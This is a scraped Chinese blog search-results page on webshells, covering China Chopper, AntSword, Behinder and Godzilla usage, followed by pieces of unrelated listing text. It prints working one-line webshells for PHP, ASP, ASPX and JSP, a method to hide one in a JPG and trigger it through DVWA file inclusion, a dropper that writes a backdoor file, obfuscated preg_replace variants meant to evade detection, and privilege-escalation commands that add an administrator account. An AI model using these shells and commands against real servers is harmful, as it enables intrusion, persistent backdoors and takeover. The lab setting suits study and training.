    在中国菜刀页面继承Web 用户权限可以实现文件管理,包括文件查看、上传、下载、修改、删除甚至运行exe 程序等

     

    虚拟终端

    在中国菜刀下可以获得cmd 和 bash的命令行接口,可以执行相关命令。

     

    数据库管理

    我们可以使用中国菜刀进行数据库管理,此时需要知道连接数据库的账密。以MYSQL 为例

    <T>MYSQL</T>      //数据库类型

    <H>localhost</H>     //数据地址

    <U>root</U>     //数据库用户

    <P>root</P>    //数据库密码

    <L>utf-8</L>     //数据库编码

     

    还有一些功能笔者这里就不一一列举了,大家自行挖掘

    一款比较老的工具的了,免杀过狗效果一般。

     

    中国蚁剑

    github项目地址

    蚁剑源码: https://github.com/AntSwordProject/antSword

    蚁剑加载器: https://github.com/AntSwordProject/AntSword-Loader

    蚁剑使用手册: https://doc.u0u.us/zh-hans/getting_started/index.html

     

    关于蚁剑的安装过程,可参考: https://blog.csdn.net/qq_36235492/article/details/85713821

    初始界面

     

    连接(右键添加数据)

     

    文件管理

     

    更多详细功能可以参考我前面给出的蚁剑使用手册

     

    Behinder(冰蝎)

    github项目地址: https://github.com/rebeyond/Behinder

    软件安装包: https://github.com/rebeyond/Behinder/releases

    运行需要java环境(jdk)

     

    工具中已经给出了一些小马,直接拿来用即可

     

    初始界面

     

    连接(右键新增)

     

    连接成功

     

     

    Godzilla(哥斯拉)

    github项目地址: https://github.com/BeichenDream/Godzilla

    软件安装包: https://github.com/BeichenDream/Godzilla/releases

    运行需要java环境(jdk)

     

    初始界面

     

    在管理里面可以生成木马,

    密码和密钥都需要设定

    有效载荷:

    JavaDynamicPayload -> jre5及以上

    CShapDynamicPayload -> .net2.0及以上

    PhpDynamicPayload -> php5.0及以上

    payload以及加密器支持

    哥斯拉内置了3Payload以及6种加密器,6种支持脚本后缀,20个内置插件

    1. JavaDynamicPayload
      1. JAVA_AES_BASE64
        1. jsp
        2. jspx
      2. JAVA_AES_RAW
        1. jsp
        2. jspx
    2. CShapDynamicPayload
      1. CSHAP_AES_BASE64
        1. aspx
        2. asmx
        3. ashx
      2. JAVA_AES_RAW
        1. aspx
        2. asmx
        3. ashx
    3. PhpDynamicPayload
      1. PHP_XOR_BASE64
        1. php
      2. PHP_XOR_RAW
        1. php

     

    来自 <https://github.com/BeichenDream/Godzilla/tree/v1.10-godzilla#payload%E4%BB%A5%E5%8F%8A%E5%8A%A0%E5%AF%86%E5%99%A8%E6%94%AF%E6%8C%81>

     

    这里我们做PHP的马,选择以下配置即可

     

    值作成功之后将其放置到web服务器下,之后在初始界面选择目标--添加

    连接成功

     

     

    展开全文
  • webshell是指在web服务器上的一个脚本程序,通过这个脚本程序可以上传下载文件、查看数据库信息以及调用一些系统命令等。webshell通常是由asp、php、jsp等语言编写,攻击者通过文件上传漏洞将脚本上传到网站作为自己...

    什么是webshell
    webshell是指在web服务器上的一个脚本程序,通过这个脚本程序可以上传下载文件、查看数据库信息以及调用一些系统命令等。webshell通常是由asp、php、jsp等语言编写,攻击者通过文件上传漏洞将脚本上传到网站作为自己的后门。

    webshell原理
    本地可以通过远程连接的方式和网站的webshell建立连接,本地发送命令后,网站的shell脚本就会去执行此命令,从而达到管理网站的效果。

    一句话木马
    一句话木马就是一种webshell,其本质就是其中的函数执行了我们发送的命令。
    比如说<?php @eval($_POST['chopper']); ?>中eval就是php的执行命令的函数,将命令赋给chopper通过post提交方式提交,eval就会执行我们发送的命令。

    一句话木马常见形式
    php的一句话木马 <?php @eval($_POST['chopper']); ?>
    asp的一句话木马 <%eval request('chopper') %>
    aspx的一句话木马 <%@ Page Language='Jscript' %> <%eval(Request.Item['chopper'], 'unsafe'); %>
    jsp无回显一句话 <%Runtime.getRuntime().exec(request.getParameter('chopper')); %>

    一句话木马图片隐藏

    这里使用dvwa中的文件上传和文件包含结合来实现

    使用edjpgcom将小马<?php @eval($_GET['func']); ?>写入图片

    上传到dvwa(为了操作方便就设成low级别)

    到文件包含模块访问url/?page=../../hackable/uploads/1.jpg,证明图片存在

    构造payload,后面加上func的参数继续访问?page=../../hackable/uploads/1.jpg&func=phpinfo();
    成功执行

    也可以在图片中插入写文件的php小马
    <?php fputs(fopen("myshell.php","w"),'<?php @eval($_POST["chopper"]); ?>'); ?>

    然后去文件包含模块访问这张图片,就会自动生成myshell.php,通过菜刀访问就可以管理网站了。


    变形一句话

    <?php @preg_replace("/abcd/e",$_POST['hacker'],"abcdefg"); ?>
    preg_replace 函数一个参数是一个正则表达式,表达式在两个/之间,如果在表达式末尾加上一个 e,则第二个参数就会被当做 php代码执行

    变形

    <?php
    $haha="p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
    $haha("/abcd/e",$_POST['hacker'],"abcdefg");
    ?>
    

    cai刀明文传输,容易被安全狗逮住
    冰契利用aes加密,密文传输


    提权
    windows系统
    systeminfo命令查看系统信息
    重点看系统类型、补丁情况
    对于特定的补丁,看它最新的补丁情况,如果没有打上最新的补丁,就可以利用这个漏洞,在网上找到对应的exp进行提权。

    net user name pass /add 添加用户
    net localgroup administrators name /add把用户放到管理员组

    linux系统

    uname -a 查看系统信息
    kali下面可以用searchsploit来查找相应的exp
    exp一般使用c语言编写的,下载源码后用gcc编译就可以
    执行好exp后先增加权限chmod 777 exp

    展开全文
  • webshell原理

    万次阅读 多人点赞 2018-09-28 13:08:56
    webshell,顾名思义:web在web服务器上,而shell用脚本语言编写的脚本程序,webshell就是就是web的一个管理工具,可以对web服务器进行操作的权限,也叫webadmin。webshell一般被网站管...
  • webshell

    千次阅读 2018-09-12 17:50:57
    webshell,顾名思义:web在web服务器上,而shell用脚本语言编写的脚本程序,webshell就是就是web的一个管理工具,可以对web服务器进行操作的权限,也叫webadmin。webshell一般被网站管理员用于网站管理、...
  • 关于webshell

    千次阅读 2014-11-27 20:25:09
    webshell,顾名思义:web在web服务器上,而shell用脚本语言编写的脚本程序,webshell就是就是web的一个管理工具,可以对web服务器进行操作的权限,也叫webadmin。webshell一般被网站管理员用于网站管理、...
  • webshell上传学习

    千次阅读 2019-09-22 17:19:23
    文件上传漏洞是指网络攻击者上传了一个可执行文件到服务器并执行。这里上传的文件可以是木马、病毒、恶意脚本或者WebShell等。这种攻击方式是最为直接和有效的,部分文件上传漏洞的利用技术门槛非常的低,对于攻击者...
  • webshell,顾名思义:web在web服务器上,而shell用脚本语言编写的脚本程序,webshell就是就是web的一个管理工具,可以对web服务器进行操作的权限,也叫webadmin。webshell一般被网站管理员用于网站管理、...
  • webshell的实现与隐藏

    千次阅读 2017-07-27 00:12:01
    webshell,顾名思义:web在web服务器上,而shell用脚本语言编写的脚本程序,webshell就是就是web的一个管理工具,可以对web服务器进行操作的权限,也叫webadmin。webshell一般被网站管理员用于网站管理、...
  • webshell后门检测原理

    千次阅读 2019-04-30 20:20:53
    在计算机科学中,Shell俗称壳(用来区别于核),是指“为使用者提供操作界面”的软件(命令解析器)。它类似于DOS下的command.com和后来的cmd.exe。它接收用户命令,然后调用相应的应用程序。Shell 编程跟 java、...
  • 什么是Webshell 从字面上理解,”Web”需要服务器开放Web服务,”shell”取得对服务器的某种程度的操作权限。Webshell指匿名用户(入侵者)通过网站端口,获取网站服务器的一定操作权限。 Webshell通常以ASP...
  • Webshell简介Webshell起初作为管理员进行服务器远程管理的一类脚本的简称。现在Webshell更多的Web入侵的工具脚本。Webshell不同于漏洞,而是利用应用漏洞或者服务器漏洞后上传到服务器进行后续利用,属于渗透...
  • webshell是web入侵的脚本攻击工具。 简单的说来,webshell就是一个asp或php木马后门,黑客在入侵了一个网站后,常常在将这些asp或php木马后门文件放置在网站服务器的web目录中,与正常的网页文件混在一起。然后黑客...
  • 获取webshell方法总结+内网远程连接

    千次阅读 2020-08-29 23:28:15
    说明:这种方法主要已经在网上公开的网站或者系统。 对于这种情况我们可以直接搜索引擎搜索这个CMS网站的程序名称,查看他的指纹信息,然后按照指纹信息寻找这种指纹获取webshell的方法。 查到后就可以...
  • 安全人员所说的Webshell的web在web服务器,而shell用脚本语言编写的脚本程序,Webshell通常一个可执行的脚本文件。攻击者在入侵时,通常要通过各种方式取得webshell,从而获得网站的控制权,然后进行之后...
  • web的是在web服务器上,而shell是用脚本语言编写的脚本程序,WebShell是一种用来进行网站和服务器管理的脚本程序,webshell一般是被网站管理员用于网站管理、服务器管理等等一些用途,但是由于webshell的功能比较...
  • 数据库上传WebShell的三种方式

    千次阅读 2020-08-08 18:11:24
    一、什么是WebShell? 简单的说来,webshell就是一个asp或php木马后门,黑客在入侵了一个网站后,常常在将这些...“木马”全称“特洛伊木马(Trojan Horse)”,原古希腊士兵藏在木马内进入敌方城市从而占领敌方城市.
  • CTF-web 第十部分 webshell基础与免杀

    千次阅读 2018-11-15 15:24:37
     webshell,顾名思义:web在web服务器上,而shell用脚本语言编写的脚本程序,webshell就是就是web的一个管理工具,可以对web服务器进行操作的权限,也叫webadmin。webshell一般被网站管理员用于网站管理...
  • 文件上传漏洞是指网络攻击者上传了一个可执行的文件到服务器并执行。这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。这种攻击方式是最为直接和有效的,部分文件上传漏洞的利用技术门槛非常的低,对于攻击...
  • ①根据文件大小分类:大马和小马(通常一句话木马,能够使用菜刀这类工具去直接连接它) ②根据脚本名称分类:jsp、asp、aspx、php 写成php形式 寻找页面上传点(上传木马) 在上一篇内容中我们知道了如何用...
  • 墨者学院WebShell代码分析溯源(第6题)

    千次阅读 2019-04-03 15:32:55
    图中箭头的很明显,一句话木马,需要用到菜刀连接,但是后面很明显与base64有关,所以,我们需要一个指令来让它变成(xxx,一句话木马),思考一下这里应该个插入语句,我们平常用到的,eval函数,但我们看...
  • CONTENTS 1 文件包含渗透简述 1.1 原理和危害 1.2 实验模拟环境 2 低安全级别渗透 ...2.2 本地文件包含+webshell ...文件包含漏洞:即File Inclusion,意思是文件包含(漏洞),是指当服务器开启a.
  • getshell:是指webshell的过程 1.webshell的种类 一句话木马 小马 大马 打包马 脱裤马 2.一句话木马: 介绍:一句话木马短小精悍,而且功能强大,隐蔽性非常好,在入侵中始终扮演着强大的作用。 这是一个一句话...
  • 最近,在乌云上看到有人利用Redis非授权访问获取webshell的案例。其实,之前在安全论坛上有看到相关的介绍文章。好吧,我也打算试用一把,在测试过程中把遇到的问题及解决办法记录一下。不定有些朋友可以用的上,...

空空如也

空空如也

1 2 3 4 5 ... 8
收藏数 150
精华内容 60
关键字:

webshell是指